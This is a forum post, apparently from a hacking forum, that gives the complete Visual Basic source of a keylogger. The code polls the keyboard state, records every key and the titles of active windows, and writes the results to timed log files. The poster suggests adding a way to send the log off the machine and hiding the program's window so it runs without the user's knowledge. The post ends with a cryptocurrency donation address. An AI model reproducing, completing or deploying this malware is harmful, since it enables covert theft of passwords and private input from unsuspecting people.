Simple Keylogger in VB 12-27-2017, 02:02 PM
#1
Simple base for a keylogger in VB you probably want to add some method to transport the log file, something to hide the window as well as change the way it runs so that all commands are done by the application rather than user input.
Code:
Imports System
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Namespace NetKeyLogger
Public Class Keylogger
Private Overloads Declare Function GetAsyncKeyState Lib "User32.dll" (ByVal vKey As System.Windows.Forms.Keys) As Short
Private Overloads Declare Function GetAsyncKeyState Lib "User32.dll" (ByVal vKey As Integer) As Short
Public Declare Function GetWindowText Lib "User32.dll" (ByVal hwnd As Integer, ByVal s As StringBuilder, ByVal nMaxCount As Integer) As Integer
Public Declare Function GetForegroundWindow Lib "User32.dll" () As Integer
Private keyBuffer As String
Private timerKeyMine As System.Timers.Timer
Private timerBufferFlush As System.Timers.Timer
Private hWndTitle As String
Private hWndTitlePast As String
Public LOG_FILE As String
Public LOG_MODE As String
Public LOG_OUT As String
Private tglAlt As Boolean = false
Private tglControl As Boolean = false
Private tglCapslock As Boolean = false
Public Sub New()
MyBase.New
Me.hWndTitle = Keylogger.ActiveApplTitle
Me.hWndTitlePast = Me.hWndTitle
Me.keyBuffer = ""
Me.timerKeyMine = New System.Timers.Timer
Me.timerKeyMine.Enabled = true
AddHandler Me.timerKeyMine.Elapsed, AddressOf Me.timerKeyMine_Elapsed
Me.timerKeyMine.Interval = 10
Me.timerBufferFlush = New System.Timers.Timer
Me.timerBufferFlush.Enabled = true
AddHandler Me.timerBufferFlush.Elapsed, AddressOf Me.timerBufferFlush_Elapsed
Me.timerBufferFlush.Interval = 1800000
End Sub
Private Shared Sub Main()
Dim kl As Keylogger = New Keylogger
kl.Enabled = true
Console.ReadLine
kl.Flush2File("test.txt")
End Sub
Public Shared Function ActiveApplTitle() As String
Dim hwnd As Integer = Keylogger.GetForegroundWindow
Dim sbTitle As StringBuilder = New StringBuilder(1024)
Dim intLength As Integer = Keylogger.GetWindowText(hwnd, sbTitle, sbTitle.Capacity)
If ((intLength <= 0) _
OrElse (intLength > sbTitle.Length)) Then
Return "unknown"
End If
Dim title As String = sbTitle.ToString
Return title
End Function
Private Sub timerKeyMine_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs)
Me.hWndTitle = Keylogger.ActiveApplTitle
If (Me.hWndTitle <> Me.hWndTitlePast) Then
If (Me.LOG_OUT = "file") Then
Me.keyBuffer = (Me.keyBuffer + ("[" _
+ (Me.hWndTitle + "]")))
Else
Me.Flush2Console(("[" _
+ (Me.hWndTitle + "]")), true)
If (Me.keyBuffer.Length > 0) Then
Me.Flush2Console(Me.keyBuffer, false)
End If
End If
Me.hWndTitlePast = Me.hWndTitle
End If
For Each i As Integer In Enum.GetValues(GetType(Keys))
If (Keylogger.GetAsyncKeyState(i) = -32767) Then
If ControlKey Then
If Not Me.tglControl Then
Me.tglControl = true
Me.keyBuffer = (Me.keyBuffer + "<Ctrl=On>")
End If
ElseIf Me.tglControl Then
Me.tglControl = false
Me.keyBuffer = (Me.keyBuffer + "<Ctrl=Off>")
End If
If AltKey Then
If Not Me.tglAlt Then
Me.tglAlt = true
Me.keyBuffer = (Me.keyBuffer + "<Alt=On>")
End If
ElseIf Me.tglAlt Then
Me.tglAlt = false
Me.keyBuffer = (Me.keyBuffer + "<Alt=Off>")
End If
If CapsLock Then
If Not Me.tglCapslock Then
Me.tglCapslock = true
Me.keyBuffer = (Me.keyBuffer + "<CapsLock=On>")
End If
ElseIf Me.tglCapslock Then
Me.tglCapslock = false
Me.keyBuffer = (Me.keyBuffer + "<CapsLock=Off>")
End If
If (Enum.GetName(GetType(Keys), i) = "LButton") Then
Me.keyBuffer = (Me.keyBuffer + "<LMouse>")
ElseIf (Enum.GetName(GetType(Keys), i) = "RButton") Then
Me.keyBuffer = (Me.keyBuffer + "<RMouse>")
ElseIf (Enum.GetName(GetType(Keys), i) = "Back") Then
Me.keyBuffer = (Me.keyBuffer + "<Backspace>")
ElseIf (Enum.GetName(GetType(Keys), i) = "Space") Then
Me.keyBuffer = (Me.keyBuffer + " ")
ElseIf (Enum.GetName(GetType(Keys), i) = "Return") Then
Me.keyBuffer = (Me.keyBuffer + "<Enter>")
ElseIf (Enum.GetName(GetType(Keys), i) = "ControlKey") Then
'TODO: Warning!!! continue If
ElseIf (Enum.GetName(GetType(Keys), i) = "LControlKey") Then
'TODO: Warning!!! continue If
ElseIf (Enum.GetName(GetType(Keys), i) = "RControlKey") Then
'TODO: Warning!!! continue If
ElseIf (Enum.GetName(GetType(Keys), i) = "LControlKey") Then
'TODO: Warning!!! continue If
ElseIf (Enum.GetName(GetType(Keys), i) = "ShiftKey") Then
'TODO: Warning!!! continue If
ElseIf (Enum.GetName(GetType(Keys), i) = "LShiftKey") Then
'TODO: Warning!!! continue If
ElseIf (Enum.GetName(GetType(Keys), i) = "RShiftKey") Then
'TODO: Warning!!! continue If
ElseIf (Enum.GetName(GetType(Keys), i) = "Delete") Then
Me.keyBuffer = (Me.keyBuffer + "<Del>")
ElseIf (Enum.GetName(GetType(Keys), i) = "Insert") Then
Me.keyBuffer = (Me.keyBuffer + "<Ins>")
ElseIf (Enum.GetName(GetType(Keys), i) = "Home") Then
Me.keyBuffer = (Me.keyBuffer + "<Home>")
ElseIf (Enum.GetName(GetType(Keys), i) = "End") Then
Me.keyBuffer = (Me.keyBuffer + "<End>")
ElseIf (Enum.GetName(GetType(Keys), i) = "Tab") Then
Me.keyBuffer = (Me.keyBuffer + "<Tab>")
ElseIf (Enum.GetName(GetType(Keys), i) = "Prior") Then
Me.keyBuffer = (Me.keyBuffer + "<Page Up>")
ElseIf (Enum.GetName(GetType(Keys), i) = "PageDown") Then
Me.keyBuffer = (Me.keyBuffer + "<Page Down>")
ElseIf ((Enum.GetName(GetType(Keys), i) = "LWin") _
OrElse (Enum.GetName(GetType(Keys), i) = "RWin")) Then
Me.keyBuffer = (Me.keyBuffer + "<Win>")
End If
If ShiftKey Then
If ((i >= 65) _
AndAlso (i <= 122)) Then
Me.keyBuffer = (Me.keyBuffer + CType(i,Char))
ElseIf (i.ToString = "49") Then
Me.keyBuffer = (Me.keyBuffer + "!")
ElseIf (i.ToString = "50") Then
Me.keyBuffer = (Me.keyBuffer + "@")
ElseIf (i.ToString = "51") Then
Me.keyBuffer = (Me.keyBuffer + "#")
ElseIf (i.ToString = "52") Then
Me.keyBuffer = (Me.keyBuffer + "$")
ElseIf (i.ToString = "53") Then
Me.keyBuffer = (Me.keyBuffer + "%")
ElseIf (i.ToString = "54") Then
Me.keyBuffer = (Me.keyBuffer + "^")
ElseIf (i.ToString = "55") Then
Me.keyBuffer = (Me.keyBuffer + "&")
ElseIf (i.ToString = "56") Then
Me.keyBuffer = (Me.keyBuffer + "*")
ElseIf (i.ToString = "57") Then
Me.keyBuffer = (Me.keyBuffer + "(")
ElseIf (i.ToString = "48") Then
Me.keyBuffer = (Me.keyBuffer + ")")
ElseIf (i.ToString = "192") Then
Me.keyBuffer = (Me.keyBuffer + "~")
ElseIf (i.ToString = "189") Then
Me.keyBuffer = (Me.keyBuffer + "_")
ElseIf (i.ToString = "187") Then
Me.keyBuffer = (Me.keyBuffer + "+")
ElseIf (i.ToString = "219") Then
Me.keyBuffer = (Me.keyBuffer + "{")
ElseIf (i.ToString = "221") Then
Me.keyBuffer = (Me.keyBuffer + "}")
ElseIf (i.ToString = "220") Then
Me.keyBuffer = (Me.keyBuffer + "|")
ElseIf (i.ToString = "186") Then
Me.keyBuffer = (Me.keyBuffer + ":")
ElseIf (i.ToString = "222") Then
Me.keyBuffer = (Me.keyBuffer + """""")
ElseIf (i.ToString = "188") Then
Me.keyBuffer = (Me.keyBuffer + "<")
ElseIf (i.ToString = "190") Then
Me.keyBuffer = (Me.keyBuffer + ">")
ElseIf (i.ToString = "191") Then
Me.keyBuffer = (Me.keyBuffer + "?")
End If
ElseIf ((i >= 65) _
AndAlso (i <= 122)) Then
Me.keyBuffer = (Me.keyBuffer + CType((i + 32),Char))
ElseIf (i.ToString = "49") Then
Me.keyBuffer = (Me.keyBuffer + "1")
ElseIf (i.ToString = "50") Then
Me.keyBuffer = (Me.keyBuffer + "2")
ElseIf (i.ToString = "51") Then
Me.keyBuffer = (Me.keyBuffer + "3")
ElseIf (i.ToString = "52") Then
Me.keyBuffer = (Me.keyBuffer + "4")
ElseIf (i.ToString = "53") Then
Me.keyBuffer = (Me.keyBuffer + "5")
ElseIf (i.ToString = "54") Then
Me.keyBuffer = (Me.keyBuffer + "6")
ElseIf (i.ToString = "55") Then
Me.keyBuffer = (Me.keyBuffer + "7")
ElseIf (i.ToString = "56") Then
Me.keyBuffer = (Me.keyBuffer + "8")
ElseIf (i.ToString = "57") Then
Me.keyBuffer = (Me.keyBuffer + "9")
ElseIf (i.ToString = "48") Then
Me.keyBuffer = (Me.keyBuffer + "0")
ElseIf (i.ToString = "189") Then
Me.keyBuffer = (Me.keyBuffer + "-")
ElseIf (i.ToString = "187") Then
Me.keyBuffer = (Me.keyBuffer + "=")
ElseIf (i.ToString = "92") Then
Me.keyBuffer = (Me.keyBuffer + "`")
ElseIf (i.ToString = "219") Then
Me.keyBuffer = (Me.keyBuffer + "[")
ElseIf (i.ToString = "221") Then
Me.keyBuffer = (Me.keyBuffer + "]")
ElseIf (i.ToString = "220") Then
Me.keyBuffer = (Me.keyBuffer + "\")
ElseIf (i.ToString = "186") Then
Me.keyBuffer = (Me.keyBuffer + ";")
ElseIf (i.ToString = "222") Then
Me.keyBuffer = (Me.keyBuffer + "'")
ElseIf (i.ToString = "188") Then
Me.keyBuffer = (Me.keyBuffer + ",")
ElseIf (i.ToString = "190") Then
Me.keyBuffer = (Me.keyBuffer + ".")
ElseIf (i.ToString = "191") Then
Me.keyBuffer = (Me.keyBuffer + "/")
End If
End If
Next
End Sub
#Region "toggles"
Public Shared ReadOnly Property ControlKey As Boolean
Get
Return Convert.ToBoolean((Keylogger.GetAsyncKeyState(Keys.ControlKey) And 32768))
End Get
End Property
Public Shared ReadOnly Property ShiftKey As Boolean
Get
Return Convert.ToBoolean((Keylogger.GetAsyncKeyState(Keys.ShiftKey) And 32768))
End Get
End Property
Public Shared ReadOnly Property CapsLock As Boolean
Get
Return Convert.ToBoolean((Keylogger.GetAsyncKeyState(Keys.CapsLock) And 32768))
End Get
End Property
Public Shared ReadOnly Property AltKey As Boolean
Get
Return Convert.ToBoolean((Keylogger.GetAsyncKeyState(Keys.Menu) And 32768))
End Get
End Property
#End Region
Private Sub timerBufferFlush_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs)
If (Me.LOG_OUT = "file") Then
If (Me.keyBuffer.Length > 0) Then
Me.Flush2File(Me.LOG_FILE)
End If
ElseIf (Me.keyBuffer.Length > 0) Then
Me.Flush2Console(Me.keyBuffer, false)
End If
End Sub
Public Sub Flush2Console(ByVal data As String, ByVal writeLine As Boolean)
If writeLine Then
Console.WriteLine(data)
Else
Console.Write(data)
Me.keyBuffer = ""
End If
End Sub
Public Sub Flush2File(ByVal file As String)
Dim AmPm As String = ""
Try
If (Me.LOG_MODE = "hour") Then
If ((DateTime.Now.TimeOfDay.Hours >= 0) _
AndAlso (DateTime.Now.TimeOfDay.Hours <= 11)) Then
AmPm = "AM"
Else
AmPm = "PM"
End If
file = (file + ("_" _
+ (DateTime.Now.ToString("hh") _
+ (AmPm + ".log"))))
Else
file = (file + ("_" _
+ (DateTime.Now.ToString("MM.dd.yyyy") + ".log")))
End If
Dim fil As FileStream = New FileStream(file, FileMode.Append, FileAccess.Write)
Dim sw As StreamWriter = New StreamWriter(fil)
sw.Write(Me.keyBuffer)
Me.keyBuffer = ""
Catch ex As Exception
throw
End Try
End Sub
#Region "Properties"
Public Property Enabled As Boolean
Get
Return (Me.timerKeyMine.Enabled AndAlso Me.timerBufferFlush.Enabled)
End Get
Set
Me.timerBufferFlush.Enabled = value
Me.timerKeyMine.Enabled = value
End Set
End Property
Public Property FlushInterval As Double
Get
Return Me.timerBufferFlush.Interval
End Get
Set
Me.timerBufferFlush.Interval = value
End Set
End Property
Public Property MineInterval As Double
Get
Return Me.timerKeyMine.Interval
End Get
Set
Me.timerKeyMine.Interval = value
End Set
End Property
#End Region
End Class
End Namespace![[Image: YmmIqHV.gif]](https://i.imgur.com/YmmIqHV.gif)
Donations: 1CCR21K2fnu2yAinUTFPsVdY7u4FkjNPs5




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)